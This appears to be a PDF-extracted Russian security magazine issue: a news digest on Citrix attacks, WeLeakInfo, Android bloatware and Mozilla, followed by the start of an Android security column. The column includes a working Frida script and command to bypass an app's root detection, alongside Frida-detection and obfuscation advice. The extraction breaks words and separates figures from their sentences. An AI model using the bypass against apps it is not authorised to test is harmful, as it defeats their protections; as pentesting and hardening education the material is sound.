Дуров не пре минул в оче ред ной раз выс казать ся о небезо пас ности мес сен дже ра Facebook.

→ «Не поз воляй те обма нывать себя тех ничес кому экви вален ту цир ковых фокус ников, которые
хотят сос редото чить ваше вни мание на одном отдель ном аспекте,  тог да  как сами выпол няют
свои  трю ки  в  дру гом  мес те.  Они  хотят,  что бы  вы  думали  об  end‐to‐end‐шиф ровании  как  о
единс твен ной  вещи,  на  которую  сле дует  обра щать  вни мание,  говоря  о  кон фиден циаль нос ти.
В реаль нос ти же все нам ного слож нее»
— Павел Дуров

BUSKILL
Ин женер  Май кл  Аль тфилд  (Michael  Altfield)  соз дал  USB‐кабель  BusKill,
который  может  отклю чить  или  «убить»  Linux‐ноут бук,  если  в  общес твен ном
мес те  устрой ство  неожи дан но  вых ватили  из  рук  вла дель ца  и  попыта лись
похитить.

Аль тфилд  отме чает,  что,  нев зирая  на  все воз можную  защиту  (исполь‐ 
зование VPN, 2ФА, менед жеров паролей и так далее), прес тупни ки все рав но
могут  поп росту  похитить  чужой  ноут бук  в  общес твен ном мес те,  и  тог да  все
это вряд ли поможет. Здесь и при ходит на помощь BusKill.

Ра бота ет BusKill прос то: одним кон цом кабель под клю чает ся к USB‐пор ту
ноут бука с Linux на бор ту, а дру гим кон цом кре пит ся к самому хозя ину девай‐ 
са, при помощи караби на (нап ример, к его поясу). Ког да кто‐то неожи дан но
хва тает  ноут бук  с  колен  челове ка  или  со  сто ла,  USB‐кабель  отсо еди няет ся
и тем самым запус кает скрипт udev, выпол няющий серию заранее задан ных
опе раций.

Ре акция на отклю чение кабеля может быть раз ной: от прос той акти вации
скрин сей вера  или  вык лючения  устрой ства  (что  вынудит  вора  обхо дить
механизм аутен тифика ции) вплоть до пол ного сти рания всех дан ных или уда‐ 
ления опре делен ных папок (что защитит от хищения кри тичес ки важ ных дан‐ 
ных и не поз волит зло умыш ленни кам получить кон фиден циаль ную информа‐ 
цию или дос туп к защищен ным биз нес‐бэкен дам).

Раз работ чик не занима ется про дажей BusKill, но на сво ем сай те он опуб‐ 
ликовал  ,  с  помощью  которой  любой может  соз‐ 
дать  свой  собс твен ный  кабель.  Для  сбор ки  понадо бят ся  USB‐накопи тель,
карабин для креп ления кабеля, маг нитный адап тер и сам USB‐кабель. В ито‐ 
ге  устрой ство  обой дет ся  в  20–45  дол ларов  США,  в  зависи мос ти  от  тре‐ 
буемой кон фигура ции и ком понен тов.

под робную DIY‐инс трук цию

ВЗЛОМ INSTAGRAM И SNAPCHAT
Бри тан ская  ком пания  Case24.com  выяс нила,  что  чаще  все го  хотят  взло мать  поль зовате ли.
Как ока залось, с боль шим отры вом от дру гих смар тфо нов лидиру ет  iPhone, а сре ди при ложе‐ 
ний — Instagram и Snapchat.

В  Великоб ритании  око ло    иска ли  спо соб  взло мать  iPhone,  тог да
как лишь   касались взло ма смар тфо нов Samsung.

10  040  поль зовате лей
700 зап росов

Дру гие  мобиль ные  брен ды  (в  том  чис ле  Huawei,  LG,  Nokia  и  Sony)  тоже  попали  в  спи сок,
но iPhone прев зошел их с огромным отры вом.

По хожим  обра зом  выг лядят  и  поис ковые  зап росы  в  США,  там  раз рыв  даже  боль ше:  поль‐ 
зовате ли иска ли «как взло мать iPhone»  , в то вре мя как взлом устрой ств Samsung
иска ли толь ко  .

48 010 раз
3100 раз

Сре ди при ложе ний лидером стал Instagram:   иска ли спо соб взло мать акка‐ 
унт  Instagram.  Вто рое  мес то  в  рей тин ге  занял  Snapchat  (   зап росов),  а  третье  мес то
с неболь шим отры вом получил WhatsApp (  зап росов).

12 310 бри тан цев
7380

7100

Аме рикан цы тоже чаще все го иска ли «как взло мать Instagram», иссле дова тели выяви ли 
таких зап росов.

66 960
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БОЛЬШИЕ
ПРОБЛЕМЫ CITRIX
В кон це декаб ря 2019 года ста ло извес тно об опас ной уяз вимос ти CVE‐2019‐
19781,  которая  зат рагива ет  ряд  вер сий  Citrix  Application  Delivery  Controller
(ADC), Citrix Gateway, а так же две ста рые вер сии Citrix SD‐WAN WANOP.

В  янва ре  2020  года  в  откры том  дос тупе  появи лись  экс пло иты  для  этой
проб лемы.  Пос ле  их  пуб ликации  ата ки  на  уяз вимые  вер сии Citrix  ожи даемо
уси лились,  так  как  мно гочис ленные  хакеры  теперь  наде ются  ском про мети‐ 
ровать какую‐нибудь важ ную цель, не успевшую обно вить ся, — кор поратив‐ 
ную сеть, государс твен ный сер вер или госуч режде ние.

Ос новная проб лема зак лючалась в том, что пос ле обна руже ния уяз вимос‐ 
ти прош ло боль ше месяца, а раз работ чики Citrix все не торопи лись выпус кать
пат чи.  Сна чала  ком пания  огра ничи лась  лишь  рекомен даци ями  по  безопас‐ 
ности, объ яснив кли ентам, как умень шить рис ки.

Фак тичес кие    толь ко  в  середи не‐кон це  янва ря,
ког да  хакеры  уже  вов сю  экс плу ати рова ли  проб лему.  Так же  экспер ты  Citrix
и FireEye наконец под готови ли   для выяв ления  ком про‐ 
мета ции и уяз вимых сис тем.

ис прав ления  появи лись

бес плат ные решения

Тем  вре менем  ана лити ки  ком паний  FireEye  и  Under  the  Breach  пре дуп‐ 
редили,  что  опе рато ры  шиф роваль щиков  REvil  (Sodinokibi)  и  Ragnarok  уже
активно заража ют уяз вимые сер веры Citrix, которых по‐преж нему нас читыва‐ 
ется  немало.  Так же,  по  непод твержден ным  дан ным,  на  уяз вимые  сис темы
нацели лись и соз датели вымога теля Maze.

Ис сле дова тели  Under  the  Breach  рас ска зали,  что  опе рато ры  REvil  опуб‐ 
ликова ли в Сети дан ные Gedia.com пос ле того, как ком пания отка залась пла‐ 
тить  выкуп.  И  судя  по  все му,  изна чаль ный  взлом  ком пании  был  выпол нен
имен но через экс плу ата цию бага в Citrix.

Так же спе циалис ты FireEye пре дуп редили, что как минимум один из мно‐ 
жес тва ата кующих дей ству ет через Tor и демонс три рует стран ное поведе ние:
раз ворачи вает  на  взло ман ных  сер верах  пей лоад NotRobin.  По  дан ным  ана‐ 
лити ков, у NotRobin есть две основные цели. Во‐пер вых, он слу жит бэк дором
для взло ман ного устрой ства Citrix. Во‐вто рых, ведет себя как сво еоб разный
анти вирус,  уда ляя  дру гую  обна ружен ную  в  сис теме  мал варь  и  тем  самым
не  поз воляя  дру гим  зло умыш ленни кам  оставлять  свою  полез ную  наг рузку
на  этом  хос те.  Никакой  допол нитель ной  мал вари,  помимо  NotRobin,
на заражен ные сер веры уста нов лено не было.

Ис сле дова тели  FireEye  сом нева ются  в  том,  что  за  эти ми  ата ками  сто ит
какой‐то доб рый самари тянин. В сво ем отче те они пишут, что хакер, ско рее
все го,  пока  лишь  собира ет  дос туп  к  уяз вимым  устрой ствам,  «зачища ет  их»
и готовит ся к пос леду ющей кам пании.

Нуж но заметить, что в целом уста нов ка пат чей все же идет хорошо. Если
в  декаб ре  2019  года  количес тво  уяз вимых  сис тем  оце нива лось  в  80  тысяч
сер веров, то в середи не янва ря их чис ло сок ратилось при мер но до 25 тысяч,
а к кон цу месяца и вов се опус тилось ниже отметки 11 тысяч сис тем.

 ДОЛ ЛАРОВ ЗА БАГИ В XBOX20 000

Ком пания  Microsoft  объ яви ла  офи циаль ный  старт  bug  bounty  прог раммы  для  игро вой  плат‐ 
формы Xbox. За обна ружен ные уяз вимос ти в сети Xbox Live и сер висах иссле дова телям зап‐ 
латят от   до   дол ларов США.500 20 000

Ком панию  инте ресу ют  баги,  ведущие  к  выпол нению  кода,  повыше нию  при виле гий,  обхо ду
механиз мов безопас ности, рас кры тию информа ции, спу фин гу и дру гим изме нени ям. На проб‐ 
лемы отка за в обслу жива нии (DoS) прог рамма не рас простра няет ся.

Так,  уяз вимос ти,  допус кающие  уда лен ное  выпол нение  кода,  могут  при нес ти  спе циалис там
от   до   дол ларов, а уяз вимос ти, допус кающие повыше ние при виле гий, — от 
до   дол ларов.
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WELEAKINFO
ЗАКРЫЛИ
Сов мес тная  опе рация  ФБР  и  пра воох раните лей  из  Север ной  Ирландии,
Нидер ландов, Гер мании и Великоб ритании при вела к изъ ятию домена сай та
WeLeakInfo.com. Более трех лет этот сер вис про давал дос туп к дан ным свы‐ 
ше  12,5  мил лиар да  учет ных  записей,  соб ранных  из  10  тысяч  уте чек.  Фак‐ 
тичес ки  за  пла ту  сайт  пре дос тавлял  дос туп  к  паролям  людей откры тым  тек‐ 
стом. При этом сам дос туп сто ил все го 2 дол лара в день.

На  чер ном  рын ке  сайт  был  известен  и  поль зовал ся  популяр ностью.  Так,
хакеры покупа ли дос туп к WeLeakInfo, а затем иска ли в его нед рах имя, email‐
адрес или имя поль зовате ля, которо го хотели взло мать. В ответ на такие зап‐ 
росы  сайт  воз вра щал  все  свя зан ные  с  этим  поль зовате лем  дан ные,  ранее
утек шие  из  раз личных  источни ков,  вклю чая  пароли,  если  те  были  дос тупны.
Зло умыш ленни ки  исполь зовали  такие  пароли,  пыта ясь  авто ризо вать ся  с  их
помощью в раз личных про филях поль зовате ля (наде ясь, что жер тва пов торно
исполь зовала оди нако вые пароли на раз ных сай тах).

В сво ем пресс‐релизе Минис терс тво юсти ции США обра тилось к общес‐ 
твен ности с прось бой помочь выявить вла дель цев сай та, а днем поз же гол‐ 
ланд ская полиция арес товала 22‐лет него муж чину, который, похоже, был опе‐ 
рато ром WeLeakInfo.

На пом ню,  что  это  не  пер вый  зак рытый  ресурс  такого  рода.  В  2017  году
пра воох раните ли  лик видиро вали  дру гой  «агре гатор  уте чек»,  тор говав ший
чужими  лич ными  дан ными,  —  LeakedSource.  Его  авто ры,  ком пания  Defiant
Tech  Inc.,  собира ли  дам пы  раз личных  уте чек  дан ных  (как  из  откры того  дос‐ 
тупа, так и покупая их нап рямую у хакеров), а затем про дава ли дос туп к этой
гигант ской  базе  всем  жела ющим.  Сре ди  дос тупных  на  сай те  дан ных  чис‐ 
лились  име на  поль зовате лей,  ФИО,  email‐адре са,  поч товые  адре са,
телефон ные номера, а так же пароли в откры том виде.

В  нас тоящее  вре мя  сущес тву ет  как  минимум  три  дру гих  сай та,  которые
работа ют  по  той же  схе ме,  что  LeakedSource  и WeLeakInfo:  про дают  дос туп
к  похищен ным  дан ным,  вклю чая  пароли  в  откры том  виде.  Это  DeHashed,
Snusbase и Leak‐Lookup.

УДАР ПО КРИП ТОДЖЕ КИН ГУ
Ин терпол и CERT рас ска зали о про веде нии меж дународ ной опе рации Goldfish Alpha, про шед‐ 
шей при под дер жке Cyber Defense Institute и Trend Micro. Бла года ря этой опе рации от мал вари
были очи щены взло ман ные мар шру тиза торы MikroTik в десяти стра нах Юго‐Вос точной Азии.

Опе рация началась пос ле того, как в июне прош лого года был обна ружен взлом более 
мар шру тиза торов MikroTik, которые прес тупни ки исполь зовали для май нин га крип товалю ты.
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Взлом  девай сов  MikroTik  и  внед рение  на  них  крип тодже кин говых  скрип тов  популя рен  сре ди
хакеров с 2018 года. Уже тог да были взло маны и зараже ны более   устрой ств.200 000

В опе рации при няли учас тие пра воох ранитель ные орга ны и пред ста вите ли CERT раз ных стран,
вклю чая  ,  ,  ,  ,  ,  ,  , 
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Сов мес тные уси лия помог ли сок ратить не толь ко чис ло заражен ных устрой ств, но и крип тодже‐ 
кинг в Юго‐Вос точной Азии на   по срав нению с июнем 2019 года.78%

СКАЖЕМ BLOATWARE
НЕТ
Бо лее  50  орга низа ций  (вклю чая  Privacy  International  и  Аме рикан ский  союз
граж дан ских  сво бод)  в  откры том  пись ме,  адре сован ном  исполни тель ному
дирек тору Alphabet Сун дару Пичаи, поп росили Google при нять меры в отно‐ 
шении bloatware и защитить поль зовате лей от пре дус танов ленных на Android‐
устрой ствах при ложе ний. Речь идет о так называ емом «избы точ ном ПО» (оно
же «фуф лософт»),  которое уста нав лива ется на  устрой ства в наг рузку и дос‐ 
тупно сра зу из короб ки.

Под писав шие пись мо орга низа ции объ ясня ют, что мно гие bloatware‐при‐ 
ложе ния  невоз можно  уда лить  и  из‐за  них  дан ные  поль зовате лей  могут
собирать  недоб росовес тные  про изво дите ли  устрой ств  и  при ложе ний  (без
ведома  и  сог ласия  самих  поль зовате лей,  конеч но  же).  Неред ко  такие  при‐ 
ложе ния могут иметь и при виле гиро ван ные раз решения, которые поз воля ют
им обхо дить защит ные механиз мы Android.

Ав торы пос лания ссы лают ся на иссле дова ние, про веден ное в 2018 году,
которое показа ло, что эко сис тема пре дус танов ленных при ложе ний на Android
находит ся в пол ном бес поряд ке. Так, сог ласно иссле дова нию, 91% всех пре‐ 
дус танов ленных  при ложе ний  вооб ще  недос тупны  в  офи циаль ном  катало ге
Google  Play.  То  есть  они  не  про ходят  про цеду ру  про вер ки  Google,  не  про‐ 
веря ются  на  пред мет  избы точ ных  раз решений,  на  наличие  извес тных  уяз‐ 
вимос тей  и  вре донос ной  фун кци ональ нос ти,  не  могут  обновлять ся
с помощью механиз ма Play Store и так далее.

На иболь шую  угро зу  такие  при ложе ния  пред став ляют  для  поль зовате лей
бюд жетных  гад жетов  по  все му  миру,  и  авто ры  пись ма  под черки вают,  что
«кон фиден циаль ность  не  может  быть  рос кошью,  пред лага емой  толь ко  тем
людям, которые могут поз волить себе дорогой телефон».

Ор ганиза ции про сят гла ву Google ввес ти новые нор мы для OEM‐про изво‐ 
дите лей, ужес точив пра вила для при ложе ний, которые могут пред варитель но
уста нав ливать ся  на  устрой ства.  Так,  сто ит  добавить  как  минимум  три  сле‐ 
дующих пра вила:

поль зовате ли  дол жны  иметь  воз можность  нав сегда  уда лить  при ложе ния
со сво их устрой ств. Это дол жно касать ся и любых фоновых служб, которые
про дол жают работать, даже если при ложе ния отклю чены;

•

пре дус танов ленные при ложе ния дол жны про ходить такие же про вер ки, что
и при ложе ния в Google Play Store, осо бен но в воп росах поль зователь ских
раз решений;

•

пре дус танов ленные  при ложе ния  дол жны  иметь  механизм  обновле ния,
желатель но через Google Play и без необ ходимос ти соз давать отдель ную
учет ную  запись.  Google  дол жна  отка зывать  в  сер тифика ции  устрой ств
по сооб ражени ям кон фиден циаль нос ти, если про изво дите ли или вен доры
пыта ются экс плу ати ровать поль зовате лей таким обра зом.

•

Ин терес но,  что по чис той слу чай нос ти откры тое пись мо было опуб ликова но
прак тичес ки  одновре мен но  с  сооб щени ем  ИБ‐ком пании  Malwarebytes.
Экспер ты пре дуп редили о мал вари, най ден ной в двух при ложе ниях, пре дус‐ 
танов ленных на бюд жетные смар тфо ны Unimax (UMX) U686CL, которые пред‐ 
лага ются  аме рикан цам  с  низ ким  уров нем  доходов  по  спе циаль ной  прог‐ 
рамме Lifeline, суб сидиру емой пра витель ством (сто ят такие смар тфо ны все‐ 
го 35 дол ларов).

Та кие Android‐девай сы про изво дят ся в Китае и про дают ся ком пани ей As‐
surance Wireless, пос тавщи ком услуг сотовой свя зи, вхо дящим в груп пу Virgin
Mobile.

Об ратив  вни мание  на  жалобы  поль зовате лей  этих  устрой ств,  ком пания
при обре ла смар тфон UMX U686CL и вни матель но его изу чила. Быс тро выяс‐ 
нилось,  что  один  из  ком понен тов  устрой ства,  при ложе ние  Wireless  Update,
содер жит мал варь Adups.

Этот вре донос был впер вые замечен в 2016 году, ког да спе циалис ты ком‐ 
пании  Kryptowire  слу чай но  обна ружи ли,  что  сис тема  обновле ния  ПО  FOTA
(Firmware  Over  The  Air),  то  есть  неуда ляемое  при ложе ние  com.adups.fota,
которую раз рабаты вает китай ская ком пания Shanghai Adups Technology Com‐
pany,  пред став ляет опас ность для  поль зовате лей.  Коман да Kryptowire  выяс‐ 
нила,  что  ком пания  Adups  име ет  воз можность  отправ лять  обновле ния
на  устрой ства  поль зовате лей,  минуя  как  пос тавщи ков  смар тфо нов,  так
и самих поль зовате лей.

Те перь экспер ты Malwarebytes пишут, что дан ный ком понент в нас тоящее
вре мя  исполь зует ся  на  устрой ствах UMX и  при меня ется  для  уста нов ки  при‐ 
ложе ний без ведома поль зовате ля. При чем, кем имен но исполь зует ся, оста‐ 
ется неяс ным. Пока все изу чен ные иссле дова теля ми при ложе ния ока зались
чис ты  и  не  содер жали  мал вари,  но  все  же  они  добав лялись  на  устрой ства
без раз решения и ведома вла дель цев.

Так же  спе циалис ты  обна ружи ли  подоз ритель ный  код  в  при ложе нии  Set‐
tings.  По  сло вам  иссле дова телей,  при ложе ние  зараже но  некой  раз новид‐ 
ностью  силь но  обфусци рован ной  мал вари,  пред положи тель но  китай ско го
про исхожде ния.  Судя  по  все му,  это  дроп пер  извес тно го  рек ламно го  вре‐ 
доно са HiddenAds.

Под черки вает ся,  что  оба  вре донос ных  при ложе ния  невоз можно  уда лить.
Хотя  поль зовате ли  могут  изба вить ся  от  при ложе ния  Wireless  Update,  из‐за
это го телефон перес танет обновлять ся и про пус тит кри тичес кие обновле ния
безопас ности для сво ей про шив ки.

Нуж но отме тить, что у экспер тов нет пол ной уве рен ности в том, что имен‐ 
но Unimax несет ответс твен ность за появ ление мал вари на устрой ствах. Воз‐ 
можно,  вре донос ное  ПО  было  добав лено  сто рон ними  раз работ чиками
из цепоч ки пос тавок.

 ПОЛЬ ЗОВАТЕ ЛЕЙ ПОД АТА КАМИ2 000 000
«Лабора тория Кас пер ско го» про ана лизи рова ла некото рые из наибо лее акту аль ных киберуг роз,
под верга ющих рис ку лич ную информа цию поль зовате лей.

Сог ласно ста тис тике ком пании, в 2019 году в мире зна читель но вырос ло чис ло поль зовате лей,
ата кован ных прог рамма ми для кра жи паролей, — на  . Все го про дук ты ком пании отра зили
подоб ные ата ки на устрой ствах поч ти   поль зовате лей.

72%
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Кро ме  того,  в  2019  году  зна читель но  вырос ло  количес тво  фишин говых  атак,  в  ходе  которых
зло умыш ленни ки, как пра вило, пыта ются заполу чить лич ные и пла теж ные дан ные поль зовате‐ 
лей. В этот пери од решения «Лабора тории Кас пер ско го» еже месяч но пре дот вра щали в сред‐ 
нем   попыток перехо да поль зовате лей на мошен ничес кие сай ты.38 000 000

СОКРАЩЕНИЯ
В MOZILLA
В  середи не  янва ря  ста ло  извес тно,  что  70  из  1000  сот рудни ков  по  все му
миру  Mozilla  были  уво лены,  так  как  надеж ды  орга низа ции  на  источни ки
дохода,  не  свя зан ные  с  поис ком,  пока  не  оправда лись.  В  будущем  сок‐ 
ращение может ждать и дру гих сот рудни ков, так как Mozilla все еще изу чает,
как все это пов лияет на фили алы в Великоб ритании и Фран ции.

«Воз можно,  вы  пом ните,  что  в  2019  и  2020  годах  мы  ожи дали
получить  доход  от  новых  про дук тов  по  под писке,  а  так же  более
высокие  доходы  от  источни ков,  не  свя зан ных  с  поис ком.  Это го
не  про изош ло,  —  пишет  вре мен ная  гла ва  Mozilla  Мит челл  Бей кер
в пись ме для сот рудни ков. — В нашем пла не на 2019 год мы недо оце- 
нили,  сколь ко  вре мени  пот ребу ется  для  соз дания  и  выпус ка  новых
про дук тов,  при нося щих  доход.  Учи тывая  опыт,  при обре тен ный
в  2019  году,  и  то,  что  мы  узна ли  о  тем пах  инно ваций,  мы  решили
исполь зовать  более  кон серва тив ный  под ход  к  прог нозиро ванию
доходов  на  2020  год.  Так же  мы  сог ласились  с  тем,  что  нуж но  жить
по  средс твам  и  в  обоз римом  будущем  не  тра тить  боль ше,  чем
зараба тыва ем».

Так же  сооб щает ся,  что  руководс тво  Mozilla  думало  зак рыть  собс твен ный
фонд  инно ваций  (Mozilla  innovation  fund),  но  пока  решило,  что  он  нужен
для про дол жения раз работ ки новых про дук тов, на что орга низа ция в общей
слож ности выделя ет 43 мил лиона дол ларов.

Де ло в том, что мно го лет основным источни ком доходов Mozilla оста ется
поиск.  Ком пании  пла тят  сот ни мил лионов  дол ларов,  что бы  стать  поис ковой
сис темой  по  умол чанию  в  Mozilla  Firefox.  Google  была  основным  кли ентом
Mozilla на про тяже нии мно гих лет, но так же Mozilla зак лючала сдел ки с Yahoo!,
Yandex, Baidu и дру гими поис ковика ми. В пос ледние  годы эти сдел ки обес‐ 
печива ли более 90% доходов Mozilla.

Так  как  доля  Firefox  на  рын ке  пос тепен но  сни жает ся  и  зависи мость
доходов от пар тнерских отно шений с поис ковыми сис темами (которые тоже
сни жают ся)  вызыва ет  понят ное  бес покой ство,  руководс тво  Mozilla  ищет
новые источни ки дохода. В основном это раз личные про дук ты по под писке,
никак  не  свя зан ные  с  поис ком.  К  при меру,  орга низа ция  занима ется  раз‐ 
работ кой  собс твен ного  VPN‐сер виса,  который  будет  дос тупен  по  под писке
за  4,99  дол лара  США  в  месяц  (услу га  пока  еще  недос тупна  для  широкой
общес твен ности). Так же Mozilla пред лагала вари ант под дер жки для ком паний
за 10 дол ларов США за одно го поль зовате ля, но быс тро отка залась от этой
идеи, сооб щив, что все еще изу чает кор поратив ный сег мент.

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Пер вый арест груп пиров ки MageCart: в Индо незии задер жали тро их подоз рева емых

В Firefox исправ лена уяз вимость нулево го дня, находя щаяся под ата ками

Ис сле дова тели про демонс три рова ли взлом TikTok при помощи SMS

Amazon уво лила ряд сот рудни ков, которые под смат ривали за поль зовате лями камер Ring

АНБ обна ружи ло опас ную крип тогра фичес кую уяз вимость в Windows

В Сети наш ли спи сок учет ных дан ных для 500 тысяч IoT‐устрой ств

Ubisoft судит ся с опе рато рами нес коль ких сер висов для DDoS‐атак

Apple отка залась от пла нов внед рить сквоз ное шиф рование в iCloud

ProtonMail и StartMail заб локиро ваны в Рос сии

Free Software Foundation при зыва ет Microsoft открыть исходни ки Windows 7
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Се год ня в выпус ке: восемь спо собов обна‐ 
ружить  внед рение  Frida  в  при ложе ние,  три
совета,  как защитить натив ные биб лиоте ки
от  ревер са,  отклю чение  про вер ки  на  root
в  подопыт ном  при ложе нии,  защита
от  метареф лексии  в  Android  11,  прин цип
работы  Huawei  Quick  Apps,  а  так же  под‐ 
борка  инс тру мен тов  пен тесте ра  и  биб‐ 
лиотек для раз работ чиков.

ПОЧИТАТЬ

Как обна ружить Frida
  —  статья  о  том,  как  обна ружить,  что  при ложе ние

работа ет под управле нием Frida (извес тный инс тру мент, поз воля ющий перех‐ 
ватить управле ние при ложе нием и внед рить код). Автор при водит пять извес‐ 
тных тех ник и три собс твен ные:

Detect  Frida  for  Android

1. По иск  биб лиотек  frida‐agent  и  frida‐gadget  в  фай ле  .
Может закон чить ся неуда чей, если взлом щик изме нит име на биб лиотек.

/proc/<pid>/maps

2. По иск в памяти натив ных биб лиотек осо бых строк (как рас ска зано в 
). Взлом щик может переком пилиро вать Frida с изме нен ными стро‐ 

ками.

этой
статье

3. Прой ти по всем откры тым TCP‐пор там, отпра вить  в них dbus‐сооб щение
AUTH  и  дож дать ся  отве та  Frida.  Метод  хорошо  работа ет  при  исполь‐ 
зовании frida‐server (на рутован ном устрой стве), но бес полезен, если при‐ 
ложе ние  было  перепа кова но  с  вклю чени ем  в  него  frida‐gadget  (спо соб
обыч но при меня ется, ког да невоз можно получить root на устрой стве).

4. Про верить  наличие  спе цифи чес ких  для  Frida  фай лов  в  катало ге 
. Опять же взлом щик может пере име новать эти фай лы.

/data/

local/tmp

5. Про верить,  откры ты  ли  для  записи  исполня емые  сек ции  натив ных  биб‐ 
лиотек. В нор маль ной ситу ации это поч ти невоз можно.

6. По иск потоков frida‐server и frida‐gadget, которые Frida запус кает в рам ках
про цес са подопыт ного при ложе ния.

7. По иск  спе цифич ных  для  Frida  име нован ных  пай пов  в  катало ге 
.

/proc/<

pid>/fd

8. Срав нение кода натив ных биб лиотек на дис ке и в памяти. При внед рении
Frida изме няет сек цию text натив ных биб лиотек.

При меры исполь зования пос ледних трех тех ник опуб ликова ны в 
.

ре пози тории
на GitHub

Об ход детек та root с помощью Frida
  —  рас сказ

о  спо собах  отклю чить  про вер ку  на  пра ва  root  в  подопыт ном  при ложе нии
с помощью Frida или тул кита   на базе Frida.

Android  Root  Detection  Bypass  Using  Objection  and  Frida  Scripts

Objection
В боль шинс тве слу чаев будет дос таточ но либо ска чать уже готовый скрипт

из  ,  либо  вос поль зовать ся  тул китом  Objection  для  отклю‐ 
чения про вер ки на root:

ре пози тория  Frida

android root disable

Од нако эти спо собы могут не сра ботать, и тог да при дет ся писать свой собс‐ 
твен ный  скрипт.  Для  это го  необ ходимо  деком пилиро вать/дизас сем бли‐ 
ровать  подопыт ное  при ложе ние  и  най ти  в  нем  фун кцию,  ответс твен ную
за про вер ку наличия прав root на устрой стве. Обыч но она выг лядит при мер но
так:

private static boolean detectmethods() {
   String[] arrayOfString = new String[10];
   arrayOfString[0] = "/system/app/Superuser.apk";
   arrayOfString[1] = "/sbin/su";
   arrayOfString[2] = "/system/bin/su";
   arrayOfString[3] = "/system/xbin/su";
   arrayOfString[4] = "/data/local/xbin/su";
   arrayOfString[5] = "/data/local/bin/su";
   arrayOfString[6] = "/system/sd/xbin/su";
   arrayOfString[7] = "/system/bin/failsafe/su";
   arrayOfString[8] = "/data/local/su";
   arrayOfString[9] = "/su/bin/su";
   int a = arrayOfString.length;
   int b = 0;
   while (a < b) {
       if (new File(arrayOfString[a]).exists()) {
           return true;
       }
       a += 1;
   }
   return false;
}

До пус тим,  она  находит ся  внут ри  клас са    в  Java‐пакете 
.  Все,  что  нам  нуж но  сде лать, —  под менить  эту  фун кцию  на  заг лушку,

которая всег да воз вра щает false. Для это го понадо бит ся такой скрипт:

roottest com.test.
test

Java.perform(function () {
   var MainActivity = Java.use('com.test.test.roottest');
       MainActivity.root.implementation = function (detectmethods) {
           console.log('Done: bypassed');
           return false;
       };
}

Да лее скар мли ваем наш скрипт Frida и запус каем под ее управле нием при‐ 
ложе ние:

$ frida ‐l rootbypass.js ‐f имя.пакета.приложения

Как защитить натив ную биб лиоте ку
  —  статья,  рас ска зыва ющая,

как защитить от ревер са натив ные биб лиоте ки в при ложе ниях для Android.
Security  hardening  of  Android  native  code

Обыч но раз работ чики  выносят  сен ситив ный  код  в  натив ные,  написан ные
на  язы ках  C/C++  биб лиоте ки,  что бы  повысить  про изво дитель ность  и  зат‐ 
руднить  реверс  при ложе ния  (читать  дизас сем блер ные  лис тинги  натив ного
кода  гораз до  слож нее,  чем  код  smali,  и  тем  более  слож нее,  чем  деком‐ 
пилиро ван ный  с  помощью  того  же  jadx  код  на  Java).  Одна ко  не  сто ит
забывать,  что  одно  лишь  наличие  натив ного  кода  не  оста новит  опыт ного
и мотиви рован ного взлом щика, поэто му сто ит исполь зовать допол нитель ные
средс тва,  что бы его запутать. Есть нес коль ко нес ложных спо собов это сде‐ 
лать.

  замена  вызовов  фун кций  стан дар тной  биб лиоте ки  язы ка
С (libc, роль которой в Android игра ет Bionic) пря мыми сис темны ми вызова ми.
Это  поз волит  защитить ся  от  взлом щиков,  которые  исполь зуют  Frida
для  перех вата  вызовов  фун кций  или  под меня ют  биб лиоте ку  libc  ана логом
с  фун кци ей  дам па  всех  вызовов  и  воз вра щаемых  ими  дан ных  (нап ример,
какие фай лы откры вает при ложе ние, какие пор ты слу шает).

Спо соб  1:

При менять сис темные вызовы нап рямую доволь но слож но, но мож но вос‐ 
поль зовать ся наработ ками про екта   с реали заци ей минима лис тично го
вари анта  libc. Для это го дос таточ но взять из про екта файл 
и  исполь зовать  опре делен ный  в  нем  набор  фун кций  ,  где  X  —
это  чис ло  аргу мен тов  сис темно го  вызова.  Реали зован ные  с  помощью  этой
фун кции сис темные вызовы   и   могут выг лядеть так:

MUSL
syscall_arch.h

__syscallX

open read

static inline int  my_openat(int __dir_fd, const void* __path, int 
__flags, int __mode ){
   return (int)__syscall4(__NR_openat, __dir_fd, (long)__path, 
__flags, __mode);
}

static inline ssize_t my_read(int __fd, void* __buf, size_t __count){
   return __syscall3(__NR_read, __fd, (long)__buf, (long)__count);
}

Об рати  вни мание:  бла года ря  клю чево му  сло ву    код  этих  фун кций
будет встро ен в вызыва ющий код, что еще боль ше усложнит его ана лиз.

inline

 замена фун кции libc на собс твен ные реали зации. Кро ме фун‐ 
кций — обер ток  сис темных  вызовов, биб лиоте ка  libc  так же  вклю чает  в  себя
мно жес тво под собных фун кций, в том чис ле для работы со стро ками (strcmp,
strlen, strstr) и памятью (memcmp, memset, memcpy). Эти фун кции так же луч ше
встро ить пря мо в код биб лиоте ки. Взять их реали зацию мож но из той же биб‐ 
лиоте ки MUSL или Glibc.

Спо соб 2:

 обфуска ция с помощью Obfuscator‐LLVM. Этот форк извес тно‐ 
го набора ком пилято ров LLVM выпол няет пре обра зова ния кода (запуты вание
гра фа  исполне ния,  замена  инс трук ций,  мер твые  инс трук ции,  тупико вые
перехо ды и так далее), зат рудня ющие его ана лиз. Что бы зас тавить сре ду раз‐ 
работ ки соб рать биб лиоте ку с исполь зовани ем O‐LLVM, необ ходимо внес ти
соот ветс тву ющие прав ки в  ,  ука зав  путь  до O‐LLVM  (пер вая
перемен ная):

Спо соб 3:

CMakeLists.txt

set(OLLVM_PATH ${CMAKE_HOME_DIRECTORY}/../../../../../build/bin)
set(OLLVM_C_COMPILER ${OLLVM_PATH}/clang)
set(OLLVM_CXX_COMPILER ${OLLVM_PATH}/clang++)

set(OLLVM_C_FLAGS "‐mllvm ‐sub ‐mllvm ‐bcf ‐mllvm ‐fla")

set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${OLLVM_C_FLAGS}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${OLLVM_C_FLAGS}")
set(CMAKE_C_COMPILER ${OLLVM_C_COMPILER})
set(CMAKE_CXX_COMPILER ${OLLVM_CXX_COMPILER})

Раз мер резуль тиру ющей биб лиоте ки при этом может воз расти в десять раз
бла года ря  внед рению  боль ших  объ емов  неис поль зуемо го  кода  и  запуты‐ 
ванию гра фа исполне ния.

За щита от метареф лексии в Android 11

 —  неболь шая  замет ка  о  появив шемся  в  исходных  кодах  AOSP  ком‐ 
